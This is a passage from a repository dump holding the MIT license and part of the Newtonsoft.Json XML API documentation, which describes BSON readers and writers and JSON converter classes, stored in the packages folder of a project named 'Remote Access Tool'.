    "content": "The MIT License (MIT)\n\nCopyright (c) 2007 James Newton-King\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataSetConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataSet\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataTableConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataTable\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member 